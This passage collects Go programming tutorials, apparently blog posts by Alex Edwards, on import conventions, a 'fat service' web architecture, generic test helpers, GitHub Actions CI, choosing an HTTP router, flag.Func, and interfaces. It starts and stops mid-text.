golang.org/x/sys/unix. Version 2+ packages Sometimes the third-party packages that you want to use will be in modules with a major version number greater than 1 (like v2.0.0, v3.4.5 etc). In Go, it is conventional for modules with a major version number greater than 1 to append the major version number to their module path. A few popular real-life examples are: github.com/go-chi/chi/v5 github.com/jackc/pgx/v5 github.com/go-playground/validator/v10 Typically you will need to go get these version 2+ packages using the full module path including the version number. Like this: $ go get github.com/go-chi/chi/v5 go: added github.com/go-chi/chi/v5 v5.0.8 And then you need to also import them in your .go files using the full module path (including the version number), but reference their exported things using the package name (which will normally now be the second-to-last element in the import path). For example: import ( "github.com/go-chi/chi/v5" ) func main() { router := chi.NewRouter() ... } Organizing import statements Lastly, there's no right or wrong way to organize your import statements in Go. No single convention has really emerged in the Go community, so I recommend just picking something that works for you and being consistent with it. Personally, I like to separate imports into four groups separated by an empty line. Like this: import ( {standard library packages} {packages from the current module} {third-party packages} {aliased packages} ) Within each group, go fmt will automatically sort the imports alphabetically for you. I like having aliased imports as a final standalone group because it helps to draws attention to them and highlight to the reader that 'there is something a little bit unusual going on here' with them. As an illustration, here's an example from the main.go file of a web application I was recently working on: import ( "fmt" "net/http" "os" "runtime/debug" "sync" "example.com/internal/logger" "example.com/internal/smtp" "github.com/go-playground/form/v4" "github.com/spf13/pflag" _ "github.com/mattn/go-sqlite3" )

• The 'fat service' pattern for Go web applications
  Alex Edwards

  In this post I'd like to talk about one of my favorite architectural patterns for building web applications and APIs in Go. It's kind of a mix between the service object and fat model patterns — so I mentally refer to it as the 'fat service' pattern, but it might have a more formal name that I'm not aware of 🙃 It's certainly not a perfect pattern (we'll discuss some of the pros and cons later) — but it is (deliberately) simple, pragmatic, and I find it often works well for small-to-medium sized projects. Note: Before we start I'd like to emphasize that there's no single 'correct' way to structure your project in Go. Different architectures suit different projects and teams, and this is just one option to consider. At a high-level, the fat service pattern splits your project code into two distinct 'layers': The application layer. This contains your code related to reading and writing HTTP requests and responses, authenticating/authorizing requests, session management, etc. The service layer. This contains your business logic, defines your core data types, and is also responsible for interacting with any persistent data stores. A fat service example Let's illustrate how this pattern works with an example of a JSON API. Specifically, let's say that we want to build an API with a POST /register endpoint which is used to register a new user. When a client makes a request to this endpoint, let's pretend we want to take the following actions: Parse the JSON input into a Go struct so we can work with it easily. Carry out some validation checks on the data (and return an error response to the client if any of them fail). Create a hash of the new user's password. Insert a record for the user into a database. Send a notification to a Slack channel to say that a new user has registered. Return a 204 No Content response to the client if everything worked successfully. Using the fat service pattern, we could structure our project so that the directory and file layout looks like this: . ├── cmd │ └── api | ├── handlers.go │ └── main.go └── internal └── service ├── service.go └── users.go The cmd/api package will contain the application layer code, and the internal/service package will contain the service layer code. Then, very roughly, the code in our service layer might look something like this: File: internal/service/service.go package service import ( "database/sql" "errors" ) var ErrFailedValidation = errors.New("failed validation") type Service struct { DB *sql.DB SlackWebhookURL string } File: internal/service/users.go package service import ( "github.com/slack-go/slack" "golang.org/x/crypto/bcrypt" ) type RegisterUserInput struct { Username string `json:"username"` Password string `json:"password"` ValidationErrors map[string]string `json:"-"` } func (s *Service) RegisterUser(input *RegisterUserInput) error { input.ValidationErrors = make(map[string]string) if input.Username == "" { input.ValidationErrors["username"] = "must be provided" } // And any other validation checks... if len(input.ValidationErrors) > 0 { return ErrFailedValidation } hashedPassword, err := bcrypt.GenerateFromPassword([]byte(input.Password), 12) if err != nil { return err } _, err = s.DB.Exec("INSERT INTO (username, hashed_password) VALUES ($1, $2)", input.Username, string(hashedPassword)) if err != nil { return err } msg := slack.WebhookMessage{ Username: "robot", Channel: "#general", Text: "A new user has signed up!", } return slack.PostWebhook(s.SlackWebhookURL, &msg) } And the code in our application layer might look like this (I've omitted the helper functions for brevity): File: cmd/api/main.go package main import ( "database/sql" "flag" "log" "net/http" "os" "example.com/internal/service" "github.com/alexedwards/flow" _ "github.com/mattn/go-sqlite3" ) type application struct { logger *log.Logger service *service.Service } func main() { dsn := flag.String("dsn", "./db.sqlite", "sqlite3 DSN") slackWebhookURL := flag.String("slack-webhook-url", "https://hooks.slack.com/services/example", "slack webhook URL for notifications") flag.Parse() logger := log.New(os.Stdout, "", log.LstdFlags|log.Llongfile) db, err := sql.Open("sqlite3", *dsn) if err != nil { logger.Fatal(err) } defer db.Close() app := &application{ logger: logger, service: &service.Service{DB: db, SlackWebhookURL: *slackWebhookURL}, } mux := flow.New() mux.HandleFunc("/register", app.registerUserHandler, "POST") logger.Print("starting server on :3000") err = http.ListenAndServe(":3000", mux) logger.Fatal(err) } File: cmd/api/handlers.go package main import ( "errors" "net/http" "example.com/internal/service" ) func (app *application) registerUserHandler(w http.ResponseWriter, r *http.Request) { var input service.RegisterUserInput err := app.decodeJSON(r.Body, &input) if err != nil { app.badRequest(w, r, err) return } err = app.service.RegisterUser(&input) if err != nil { if errors.Is(err, service.ErrFailedValidation) { app.failedValidation(w, r, input.ValidationErrors) } else { app.serverError(w, r, err) } return } w.WriteHeader(http.StatusNoContent) } Hopefully you get the rough idea. Essentially, our service layer contains a Service.RegisterUser() method which executes all the validation checks, business logic and SQL queries related to registering a user. The expected input to this method is the simple, standard, service.RegisterUserInput Go struct. And in our application layer's registerUserHandler() handler we can decode the JSON request body directly into that struct and pass it on the the service layer, handling any returned errors as necessary. The pros and cons In terms of benefits, there are quite a lot of nice things about this pattern: It's fairly simple. The number of mental hoops to jump through when reading the code is relatively low. You don't have to dig through lots of packages and functions to follow what the code is doing — meaning it's relatively easy for newcomers to your project to understand (or even yourself after a long break). The separation of concerns keeps our registerUserHandler() code primarily focused on reading and writing HTTP requests and responses. For applications with more than a few endpoints, I find that not trying to do everything in your handlers helps to make your codebase easier to navigate and reason about. The code in the service layer can be reused by other applications. For example, we could create a CLI application under cmd/cli with a task that also calls the Service.RegisterUser() method. This one is more personal, but I find it easier to reason about my business logic and write the code for it when the input is a well-defined Go struct with the correct types (rather than a more 'messy' input like a JSON string or HTML-encoded form data). It's really practical for APIs and web applications. You can parse JSON or HTML form data from a request body directly into the service.RegisterUserInput struct in your handlers, and then pass that struct to the service layer for processing. You don't need to create interim types in your handlers to hold the decoded request data, or copy data from one struct to another. Methods in the service layer can potentially return validation errors from multiple points in the code, and you can deal with them all just once in your handler. For example, if our user INSERT failed because we tried to insert a record with a duplicate username, then we could return a "username is already taken" validation error from our service layer in addition to the pre-INSERT validation checks. Working with database transactions is easy. If we wanted to execute multiple SQL statements as part of registering a user in a single transaction, we could initialize the sql.TX, execute all the necessary statements, and commit the transaction all within our Service.RegisterUser() method. We don't need to pass the sql.TX around to a bunch of different places in our codebase. If you want to test only your application layer logic only, this pattern lends itself nicely to creating an interface type that describes the methods on the service.Service struct, which you can then satisfy with a mock implementation. But it's not perfect, and there are also a few downsides: When you are looking at the code for your handlers, you can't immediately see what the expected inputs are. You have to navigate to the service package and look at the fields of the service.RegisterUserInput struct. With most modern text editors this is just one click away, but it still introduces a bit of 'obscurity' and feels less than ideal to me. Not having a separate abstraction for the database logic makes it harder to swap out one database for another in the future (say moving from SQLite to PostgreSQL). You can't easily mock the database calls during tests. Personally I tend to prefer using a test instance of an actual database for testing, so I don't find this too much of a drawback most of the time. But if you need to mock the database (i.e. to speed up test runtime, or because it's a hard requirement from a client) then this pattern doesn't really suit that. Lastly, SQL queries which use database/sql and the Query() method to return multiple rows of data are quite verbose. These queries can take up a lot of visual space and add clutter to the service layer methods — which ultimately starts to reduce the scannability of the code. Using jmoiron/sqlx or blockloop/scan can be a big help here. But overall — so long as you don't need to mock your database calls — I like this pattern. I've used it a lot over the past 3-4 years and have found that the relative simplicity and practical benefits comfortably outweigh any downsides.

• Easy test assertions with Go generics
  Alex Edwards

  Now that Go 1.18 has been released with support for generics, it's easier than ever to create helper functions for your test assertions. Using helpers for your test assertions can help to: Make your test functions clean and clear; Keep test failure messages consistent; And reduce the potential for errors in your code due to typos. To illustrate this, let's say that you have a simple greet() function that you want to test: package main import "fmt" func greet(name string) (string, int) { greeting := fmt.Sprintf("Hello %s", name) // Return the greeting and its length (in bytes). return greeting, len(greeting) } In the past, your test for the greet() function would probably look something like this: package main import "testing" func TestGreet(t *testing.T) { greeting, greetingLength := greet("Alice") // Test assertion to check the returned greeting string. if greeting != "Hello Alice" { t.Errorf("want: %s; got: %s", "Hello Alice", greeting) } // Test assertion to check the returned greeting length. if greetingLength != 11 { t.Errorf("want: %d; got: %d", 11, greetingLength) } } With Go 1.18, we can use generics and the comparable constraint to create an Equal() helper function which carries out our test assertions. Personally, I like to put this in a reusable assert package. Like so: package assert import "testing" func Equal[T comparable](t *testing.T, expected, actual T) { t.Helper() if expected != actual { t.Errorf("want: %v; got: %v", expected, actual) } } Note: The t.Helper() function indicates to the Go test runner that our Equal() function is a test helper. This means that when t.Errorf() is called from our Equal() function, the Go test runner will report the filename and line number of the code which called our Equal() function in the output. And with that in place, the TestGreet() test can be simplified like so: package main import ( "testing" "your.module.path/assert" // Import your assert package. ) func TestGreet(t *testing.T) { greeting, greetingLength := greet("Alice") assert.Equal(t, "Hello Alice", greeting) assert.Equal(t, 11, greetingLength) }

• Continuous integration with Go and GitHub Actions
  Alex Edwards

  In this post we're going to walk through how to use GitHub Actions to create a continuous integration (CI) pipeline that automatically tests, vets and lints your Go code. For solo projects I usually create a pre-commit Git hook to carry out these kinds of checks, but for team projects or open-source work — where you don't have control over everyone's development environment — using a CI workflow is a great way to flag up potential problems and help catch bugs before they make it into production or a versioned release. And if you're already using GitHub to host your repository, it's nice and easy to use their built-in functionality to do this without any need for additional third-party tools or services. To demonstrate how it works, let's run through a step-by-step example. If you'd like to follow along, please create a new repository and clone it to your local machine. For the purpose of this post I'm going to use the private repository alexedwards/example. $ git clone git@github.com:alexedwards/example.git Cloning into 'example'... remote: Enumerating objects: 3, done. remote: Counting objects: 100% (3/3), done. remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0 Receiving objects: 100% (3/3), done. Then let's scaffold a simple Go application along with a (failing) test like so: $ cd example/ $ touch main.go main_test.go $ go mod init github.com/alexedwards/example File: main.go package main import "fmt" func main() { msg := sayHello("Alice") fmt.Println(msg) } func sayHello(name string) string { return fmt.Sprintf("Hi %s", name) } File: main_test.go package main import "testing" func Test_sayHello(t *testing.T) { name := "Bob" want := "Hello Bob" if got := sayHello(name); got != want { t.Errorf("hello() = %q, want %q", got, want) } } If you run this application it should compile correctly and print "Hi Alice", but executing go test . will result in a failure. Similar to this: $ go test . --- FAIL: Test_sayHello (0.00s) main_test.go:10: hello() = "Hi Bob", want "Hello Bob" FAIL FAIL github.com/alexedwards/example 0.002s FAIL Creating a workflow file The next thing that we want to do is create a workflow file which describes what we want to do in our CI checks, and when we want them to run. By convention this file should be stored in a .github/workflow directory in the root of your repository and should be in YAML format. Let's create this directory along with an audit.yml workflow file. $ mkdir -p .github/workflows $ touch .github/workflows/audit.yml There's an excellent introduction to the workflow file syntax here, and there's also a collection of templates for different languages and frameworks that you can use as a starting point. But for now, let's jump in and update the workflow file so that it looks like this: File: .github/workflows/audit.yml name: Audit on: push: branches: [main] pull_request: branches: [main] jobs: audit: runs-on: ubuntu-20.04 steps: - uses: actions/checkout@v2 - name: Set up Go uses: actions/setup-go@v2 with: go-version: 1.17 - name: Verify dependencies run: go mod verify - name: Build run: go build -v ./... - name: Run go vet run: go vet ./... - name: Install staticcheck run: go install honnef.co/go/tools/cmd/staticcheck@latest - name: Run staticcheck run: staticcheck ./... - name: Install golint run: go install golang.org/x/lint/golint@latest - name: Run golint run: golint ./... - name: Run tests run: go test -race -vet=off ./... Let's quickly step through this and explain what the different parts of the file do. First we use the on keyword to define when we want the workflow to run. In this case, I've configured the workflow so that it runs when a new commit is made to the main branch, or a pull request is submitted. Then we use the jobs keyword to define a list of the jobs that are to be run. At the moment our workflow only contains one job called audit, but you can specify multiple jobs if you want and (by default) they will be executed in parallel. An independent runner will be spun up for each job. This is essentially a virtual machine that will execute the steps for the job. In the file above we use the runs-on keyword to specify that we want the runner to use Ubuntu 20.04 as a base OS, but others operating systems are available. It's also worth noting that the runner has a lot of useful software and tooling pre-installed. In the first step for our audit job we use the uses keyword to execute the community action actions/checkout@v2. This action will checkout our project repository to the runner so that the following steps access the code. Then we use the actions/setup-go@v2 action to install Go version 1.17 on the runner. Once that's done, in the remaining steps we use the run keyword to execute specific commands on the runner. In this case we build our code and then audit it using the standard go build|vet|test commands and the additional golint and staticcheck tools. Important: If you're following along, please run $ git branch --show-current to check the name of your branch before continuing. In certain cases, your branch may have the name master instead of main, in which case please edit the on directive in your audit.yml file accordingly. Now that's in place, let's commit everything and push the changes to your repository: $ git add . $ git commit -m "Initial commit" $ git push Once the push has completed, head to your repository and select the Actions tab. You should see that the CI 'Audit' workflow is running, similar to the screenshot below. You can click through on the workflow name to see more details while it's running, and after a minute or two you should see that the workflow is terminated due to our failing test. Additionally, as the owner of the repository, you should also get an email notification to tell you that the workflow failed, and everyone who browses the repository will see a red cross symbol next to the commit in the Git history. Fixing the code Let's fix our codebase by updating the sayHello() function to return the correct output, like so: File: main.go package main import "fmt" func main() { msg := sayHello("Alice") fmt.Println(msg) } func sayHello(name string) string { // Change this to "Hello %s" instead of "Hi %s". return fmt.Sprintf("Hello %s", name) } If you want, you can commit this change and push it… $ git add . $ git commit -m "Fix sayHello() to return the correct value" $ git push … and you should see that the 'Audit' job in our workflow file now completes successfully and everything has a nice green check mark next to it. Great! That's working really well and, from now on, any time someone makes a push or pull request to the main branch, the tests and vetting and linter checks will be automatically run. From here, you can extend the workflow to carry out more checks or send additional notifications if you want to — or even expand it to act as a continuous deployment (CD) pipeline that builds and deploys your binaries. To give you some ideas, here are a couple of slightly more complicated workflows from my own projects: Run integration tests against a PostgreSQL database Run audit checks, then build a binary and deploy it to a remote server using Ansible

• Which Go router should I use?
  Alex Edwards

  Note: This post has been fully updated to reflect the new http.ServeMux features released in Go 1.22. When you start to build web applications with Go, one of the first questions you'll probably ask is "which router should I use?". It's not an easy question to answer, either. You've got http.ServeMux in the Go standard library, and probably more than 100 different third-party routers also available — all with distinct APIs, features, and behaviors. Is http.ServeMux going to be sufficient? Or will you need to use a different router? And if so, which one is the right choice? For this blog post, I've evaluated 30 of the most popular third-party routers on GitHub (along with http.ServeMux), created a shortlist of the best options, and made a comparison table you can use to help make your choice. If you want, you can skip to the comparison table and summary. Shortlisted routers There are five routers which make the shortlist and that I recommend using. They are http.ServeMux, httprouter, chi, flow, and gorilla/mux. All the shortlisted routers are well-tested, well-documented, and actively maintained. They have stable APIs, and are compatible with http.Handler, http.HandlerFunc, and the standard Go middleware pattern. There are a few common features that all five of these routers support: Method matching: All let you register routes that require a matching HTTP method (GET, POST etc). Path segment wildcards: All let you declare routes like /movies/{id}/edit where {id} is a dynamic segment in the URL path. Automatic sending of 404 responses: All automatically send plaintext 404 responses when a matching route cannot be found. Automatic sending of 405 responses: All automatically send 405 responses when a route is found with a matching URL pattern, but not a matching HTTP method. Please note though that gorilla/mux does not automatically include an Allow header in 405 responses, and chi will potentially include duplicate values in the Allow header (there is an open issue about this here). In terms of speed, all five routers are fast enough for (almost) every application. Unless you have profiling that confirms your router is a bottleneck in your application, I recommend choosing between them based on the specific features that you need rather than performance. I've personally used all five routers in production applications at different times and have been happy with them. Note: One downside of httprouter is that the API and documentation is a bit confusing. The package was first published prior to the introduction of request context in Go 1.7, and lot of the current API still exists in order to support these older versions of Go. Nowadays, you can write your handlers using regular http.Handler and http.HandlerFunc signatures and all you need is the router.Handler() and router.HandlerFunc() methods to register them, like this. So with that out of the way, I'll start by saying… Use the standard library if you can If you can use http.ServeMux, you probably should. As part of the Go standard library, it's very battle tested and well documented. Using it means that you don't need to import any third-party dependencies, and most other Go developers will also be familiar with how it works. The Go compatibility promise also means that you should be able to rely on http.ServeMux working the same way in the long-term. All of those things are big positives in terms of application maintenance. It also has some really nice features that don't always appear in the third-party routers. Hostname matching: http.ServeMux lets you register routes that require a matching hostname, like example.com/post/{id} and example.org/post/{id}. Hostname matching is also supported by gorilla/mux, and chi supports it via the additional hostrouter package. URL path sanitization: http.ServeMux will automatically sanitize request URL paths and redirect the client if necessary. For example, if a client makes a request to /foo/bar/..//baz they will automatically be sent a 301 redirect to /foo/baz. URL sanitization is also done by gorilla/mux and httprouter in the same way. Automatic handling of HEAD requests: http.ServeMux automatically handles HEAD requests and sends the appropriate headers in the response. This is also supported by flow in the same way. Overlapping routes: If you register the routes /post/edit and /post/{id}, they overlap because a request to /post/edit matches both route patterns. The way that http.ServeMux matches overlapping wildcard routes is smart — the most specific matching route pattern wins and /post/edit is more specific than /post/{id}. This is nice because it means you can register patterns in any order and it won’t affect how http.ServeMux behaves. chi behaves in a similar-ish way to http.ServeMux and will prioritize non-wildcard matches. In contrast, gorilla/mux and flow will dispatch requests to the first matching route, and httprouter simply disallows overlapping routes and will panic if you try to register them. If you need additional features While I recommend using http.ServeMux as your go-to router, there may be times where you need a feature or a behavior that http.ServeMux doesn't provide or easily support. These include: Subsegment wildcards: chi is the only shortlisted router to support more than one wildcard within a single URL path segment, like /articles/{month}-{year}-{day}/{id}. Regexp wildcards: gorilla/mux, chi and flow support regexp wildcards, like /movies/{[a-z-]+}, where [a-z-]+ is a required regexp pattern in the URL path. Header matching: gorilla/mux is the only shortlisted router to easily support routing to different handlers based on the value of a request header (like Authorization or Content-Type). Custom matching rules: gorilla/mux is the only shortlisted router to support custom rules for matching requests (such as routing to different handlers based on IP address). Custom 404 responses: With http.ServeMux it's simple to implement a 'catch all' route "/" which will send a custom 404 response, but doing this will inhibit the automatic sending of 405 responses. There's an open issue about this, and hopefully it will get resolved soon. In contrast, httprouter, chi, gorilla/mux, and flow all allow you to set custom handlers for sending 404 response without this problem. Custom 405 responses: With http.ServeMux there is no simple way to send custom 405 responses. Whereas httprouter, chi, gorilla/mux, and flow all allow you to set custom handlers for sending 405 responses. But be aware that both chi and gorilla/mux will not automatically set an Allow header if you are using a custom 405 handler. Automatic handling of OPTIONS requests: Both httprouter and flow automatically send correct responses for OPTIONS requests. One route, multiple methods: Both gorilla/mux and flow support matching multiple HTTP methods in a single route declaration. Middleware groups: Both chi and flow provide 'grouping' functionality that lets you batch routes into groups that use specific middleware. Note that you can also wrap http.ServeMux to do this (and I've written about how to do that here). Route reversing: gorilla/mux is the only shortlisted router to support route reversing (like you get in Django, Rails, and Laravel). Subrouters: Both chi and gorilla/mux allow the creation of 'subrouters' that can be assigned to handle a subset of your application routes. Case sensitivity: All shortlisted routers require a case-sensitive match on non-wildcard parts of a route, apart from httprouter which is case-insensitive. Trailing slashes: All shortlisted routers treat trailing slashes as significant (i.e. /foo is a different route to /foo/). But... gorilla/mux has an optional StrictSlash setting where requests to /foo can automatically be redirected to /foo/. In contrast, chi has an optional RedirectSlashes middleware which will automatically redirect requests from /foo/ to /foo. And httprouter will automatically redirect requests from /foo to /foo/ and vice-versa if a matching route exists — this can be disabled via the RedirectTrailingSlash setting. Comparison table Summary If the comparison table is too overwhelming, or you don't yet know what your full requirements will be, I suggest falling back to the following guidelines: If you know you're going to have routes with complex matching requirements (i.e. more than just simple method, wildcard segment, and hostname matching), then opt for gorilla/mux or chi. If you're building something that requires custom 404 and 405 responses, and it's important that it adheres correctly to the HTTP specs (such as a JSON API for public use), opt for httprouter or flow. If you know that your application will require a lot of route-specific middleware, opt for chi or flow because of their middleware grouping functionality. Otherwise, start with http.ServeMux, and refactor to use a third-party router only if there is a specific feature or behavior that you need. Other routers For completeness, the other routers that I evaluated are listed below, along with a short note to explain why they didn't made the shortlist. Note: I used the question "does the repository contain a go.mod file?" as a proxy measure for whether a codebase is currently maintained or not. This seems reasonable — if the maintainer is still engaged with the Go world and caring for the code, my guess is that they would have updated the repository to use modules at some point. Repository Notes celrenheit/lion Currently unmaintained. claygod/Bxog Currently unmaintained. clevergo/clevergo Uses custom handler signature (not http.Handler or http.HandlerFunc). dimfeld/httptreemux Doesn’t fully support http.Handler. Requires middleware for setting custom 404/405 handlers. donutloop/mux Currently unmaintained. gernest/alien Currently unmaintained. go-ozzo/ozzo-routing Uses custom handler signature (not http.Handler or http.HandlerFunc). go-playground/lars Currently unmaintained. go-zoo/bone Good, but has similar use case to chi (which offers more). Incomplete tests. go101/tinyrouter Verbose route declarations. Doesn’t automatically send 405 responses. gocraft/web Currently unmaintained. goji/goji Slightly unusual, but flexible, API which supports custom matchers. Requires middleware for setting custom 404/405 handlers. Good, but I think gorilla/mux offers similar features and is easier to use. goroute/route Uses custom handler signature (not http.Handler or http.HandlerFunc). gowww/router Good, but has similar use case to chi (which offers more). No way to set custom 405 handler. GuilhermeCaruso/bellt No way to set custom 404 or 405 handlers. husobee/vestigo Currently unmaintained. Only supports http.HandlerFunc. naoina/denco Currently unmaintained. nbari/violetear Good, but has similar use case to chi (which offers more). Wraps http.ResponseWriter with own custom type, which may cause problems in some cases. nbio/hitch Lacking documentation. nissy/bon Currently unmaintained. razonyang/fastrouter Currently unmaintained. rs/xmux Currently unmaintained. Uses custom handler signature (not http.Handler or http.HandlerFunc). takama/router Currently unmaintained. vardius/gorouter Good, but has similar use case to chi (which offers more). Four major versions in 5 years suggests the API may not be reliable. VividCortex/siesta Good, but has similar use case to chi (which offers more). No way to set custom 405 handler. xujiajun/gorouter Currently unmaintained.

• Custom command-line flags with flag.Func
  Alex Edwards

  One of my favorite things about the recent Go 1.16 release is a small — but very welcome — addition to the flag package: the flag.Func() function. This makes it much easier to define and use custom command-line flags in your application. For example, if you want to parse a flag like --pause=10s directly into a time.Duration type, or parse --urls="http://example.com http://example.org" directly into a []string slice, then previously you had two options. You could either create a custom type to implement the flag.Value interface, or use a third-party package like pflag. But now the flag.Func() function gives you a simple and lightweight alternative. In this short post we're going to take a look at a few examples of how you can use it in your own code. Parsing custom flag types To demonstrate how this works, let's start with the two examples I gave above and create a sample application which accepts a list of URLs and then prints them out with a pause between them. Similar to this: $ go run . --pause=3s --urls="http://example.com http://example.org http://example.net" 2021/03/08 08:16:04 http://example.com 2021/03/08 08:16:07 http://example.org 2021/03/08 08:16:10 http://example.net To make this work, we'll need to do two things: Convert the --pause flag value from a 'human-readable' string like 200ms, 5s or 10m into a native Go time.Duration type. We can do this using the time.ParseDuration() function. Split the values in the --urls flag into a slice, so we can loop through them. The strings.Fields function is a good fit for this task. We can use those together with flag.Func() like so: package main import ( "flag" "log" "strings" "time" ) func main() { // First we need to declare variables to hold the values from the // command-line flags. Notice that we also need to set any defaults, // which will be used if the relevant flag is not provided at runtime. var ( urls []string // Default of the empty slice pause time.Duration = time.Second // Default of one second ) // The flag.Func() function takes three parameters: the flag name, // descriptive help text, and a function with the signature // `func(string) error` which is called to process the string value // from the command-line flag at runtime and assign it to the necessary // variable. In this case, we use strings.Fields() to split the string // based on whitespace and store the resulting slice in the urls // variable that we declared above. We then return nil from the // function to indicate that the flag was parsed without any errors. flag.Func("urls", "List of URLs to print", func(flagValue string) error { urls = strings.Fields(flagValue) return nil }) // Likewise we can do the same thing to parse the pause duration. The // time.ParseDuration() function may throw an error here, so we make // sure to return that from our function. flag.Func("pause", "Duration to pause between printing URLs", func(flagValue string) error { var err error pause, err = time.ParseDuration(flagValue) return err }) // Importantly, call flag.Parse() to trigger actual parsing of the // flags. flag.Parse() // Print out the URLs, pausing between each iteration. for _, u := range urls { log.Print(u) time.Sleep(pause) } } If you try to run this application, you should find that the flags are parsed and work just like you would expect. For example: $ go run . --pause=500ms --urls="http://example.com http://example.org http://example.net" 2021/03/08 08:22:33 http://example.com 2021/03/08 08:22:34 http://example.org 2021/03/08 08:22:34 http://example.net Whereas if you provide an invalid flag value that triggers an error in one of the flag.Func() functions, Go will automatically display the corresponding error message and exit. For example: $ go run . --pause=500xx --urls="http://example.com http://example.org http://example.net" invalid value "500xx" for flag -pause: time: unknown unit "xx" in duration "500xx" Usage of /tmp/go-build3141872390/b001/exe/example.text: -pause value Duration to pause between printing URLs -urls value List of URLs to print exit status 2 It's really important to point out here that if a flag isn't provided, the corresponding flag.Func() function will not be called at all. This means that you cannot set a default value inside a flag.Func() function, so trying to do something like this won't work: flag.Func("pause", "Duration to pause between printing URLs (default 1s)", func(flagValue string) error { // DON'T DO THIS! This function wont' be called if the flag value is "". if flagValue == "" { pause = time.Second return nil } var err error pause, err = time.ParseDuration(flagValue) return err }) On the plus side though, there are no restrictions on the code that can be contained in a flag.Func() function, so if you want, you could get even fancier with this and parse the URLs into a []*url.URL slice instead of a []string. Like so: var ( urls []*url.URL pause time.Duration = time.Second ) flag.Func("urls", "List of URLs to print", func(flagValue string) error { for _, u := range strings.Fields(flagValue) { parsedURL, err := url.Parse(u) if err != nil { return err } urls = append(urls, parsedURL) } return nil }) Validating flag values The flag.Func() function also opens up some new opportunities for validating input data from command-line flags. For example, let's say that your application has an --environment flag and you want to restrict the possible values to development, staging or production. To do that, you can implement a flag.Func() function similar to this: package main import ( "errors" "flag" "fmt" ) func main() { var ( environment string = "development" ) flag.Func("environment", "Operating environment", func(flagValue string) error { for _, allowedValue := range []string{"development", "staging", "production"} { if flagValue == allowedValue { environment = flagValue return nil } } return errors.New(`must be one of "development", "staging" or "production"`) }) flag.Parse() fmt.Printf("The operating environment is: %s\n", environment) } Making reusable helpers If you find yourself repeating the same code in your flag.Func() functions, or the logic is getting too complex, it's possible to break it out into a reusable helper. For example, we could rewrite the example above to process our --environment flag via a generic enumFlag() function, like so: package main import ( "flag" "fmt" ) func main() { var ( environment string = "development" ) enumFlag(&environment, "environment", []string{"development", "staging", "production"}, "Operating environment") flag.Parse() fmt.Printf("The operating environment is: %s\n", environment) } func enumFlag(target *string, name string, safelist []string, usage string) { flag.Func(name, usage, func(flagValue string) error { for _, allowedValue := range safelist { if flagValue == allowedValue { *target = flagValue return nil } } return fmt.Errorf("must be one of %v", safelist) }) }

• Golang Interfaces explained
  Alex Edwards

  For the past few months I've been running a survey which asks people what they're finding difficult about learning Go. And something that keeps coming up in the responses is the concept of interfaces. I get that. Go was the first language I ever used that had interfaces, and I remember at the time that the whole concept felt pretty confusing. So in this tutorial I want to do a few things: Provide a plain-English explanation of what interfaces are; Explain why they are useful and how you might want to use them in your code; Talk about what interface{} (the empty interface) is; And run through some of the helpful interface types that you'll find in the standard library. So what is an interface? An interface type in Go is kind of like a definition. It defines and describes the exact methods that some other type must have. One example of an interface type from the standard library is the fmt.Stringer interface, which looks like this: type Stringer interface { String() string } We say that something satisfies this interface (or implements this interface) if it has a method with the exact signature String() string. For example, the following Book type satisfies the interface because it has a String() string method: type Book struct { Title string Author string } func (b Book) String() string { return fmt.Sprintf("Book: %s - %s", b.Title, b.Author) } It's not really important what this Book type is or does. The only thing that matters is that is has a method called String() which returns a string value. Or, as another example, the following Count type also satisfies the fmt.Stringer interface — again because it has a method with the exact signature String() string. type Count int func (c Count) String() string { return strconv.Itoa(int(c)) } The important thing to grasp is that we have two different types, Book and Count, which do different things. But the thing they have in common is that they both satisfy the fmt.Stringer interface. You can think of this the other way around too. If you know that an object satisfies the fmt.Stringer interface, you can rely on it having a method with the exact signature String() string that you can call. Now for the important part. Wherever you see declaration in Go (such as a variable, function parameter or struct field) which has an interface type, you can use an object of any type so long as it satisfies the interface. For example, let's say that you have the following function: func WriteLog(s fmt.Stringer) { log.Print(s.String()) } Because this WriteLog() function uses the fmt.Stringer interface type in its parameter declaration, we can pass in any object that satisfies the fmt.Stringer interface. For example, we could pass either of the Book and Count types that we made earlier to the WriteLog() method, and the code would work OK. Additionally, because the object being passed in satisfies the fmt.Stringer interface, we know that it has a String() string method that the WriteLog() function can safely call. Let's put this together in an example, which gives us a peek into the power of interfaces. package main import ( "fmt" "strconv" "log" ) // Declare a Book type which satisfies the fmt.Stringer interface. type Book struct { Title string Author string } func (b Book) String() string { return fmt.Sprintf("Book: %s - %s", b.Title, b.Author) } // Declare a Count type which satisfies the fmt.Stringer interface. type Count int func (c Count) String() string { return strconv.Itoa(int(c)) } // Declare a WriteLog() function which takes any object that satisfies // the fmt.Stringer interface as a parameter. func WriteLog(s fmt.Stringer) { log.Print(s.String()) } func main() { // Initialize a Count object and pass it to WriteLog(). book := Book{"Alice in Wonderland", "Lewis Carrol"} WriteLog(book) // Initialize a Count object and pass it to WriteLog(). count := Count(3) WriteLog(count) } This is pretty cool. In the main function we've created different Book and Count types, but passed both of them to the same WriteLog() function. In turn, that calls their relevant String() functions and logs the result. If you run the code, you should get some output which looks like this: 2009/11/10 23:00:00 Book: Alice in Wonderland - Lewis Carrol 2009/11/10 23:00:00 3 I don't want to labor the point here too much. But the key thing to take away is that by using a interface type in our WriteLog() function declaration, we have made the function agnostic (or flexible) about the exact type of object it receives. All that matters is what methods it has. Why are they useful? There are all sorts of reasons that you might end up using a interface in Go, but in my experience the three most common are: To help reduce duplication or boilerplate code. To make it easier to use mocks instead of real objects in unit tests. As an architectural tool, to help enforce decoupling between parts of your codebase. Let's step through these three use-cases and explore them in a bit more detail. Reducing boilerplate code OK, imagine that we have a Customer struct containing some data about a customer. In one part of our codebase we want to write the customer information to a bytes.Buffer, and in another part of our codebase we want to write the customer information to an os.File on disk. But in both cases, we want to serialize the customer struct to JSON first. This is a scenario where we can use Go's interfaces to help reduce boilerplate code. The first thing you need to know is that Go has an io.Writer interface type which looks like this: type Writer interface { Write(p []byte) (n int, err error) } And we can leverage the fact that both bytes.Buffer and the os.File type satisfy this interface, due to them having the bytes.Buffer.Write() and os.File.Write() methods respectively. Let's take a look at a simple implementation: package main import ( "bytes" "encoding/json" "io" "log" "os" ) // Create a Customer type type Customer struct { Name string Age int } // Implement a WriteJSON method that takes an io.Writer as the parameter. // It marshals the customer struct to JSON, and if the marshal worked // successfully, then calls the relevant io.Writer's Write() method. func (c *Customer) WriteJSON(w io.Writer) error { js, err := json.Marshal(c) if err != nil { return err } _, err = w.Write(js) return err } func main() { // Initialize a 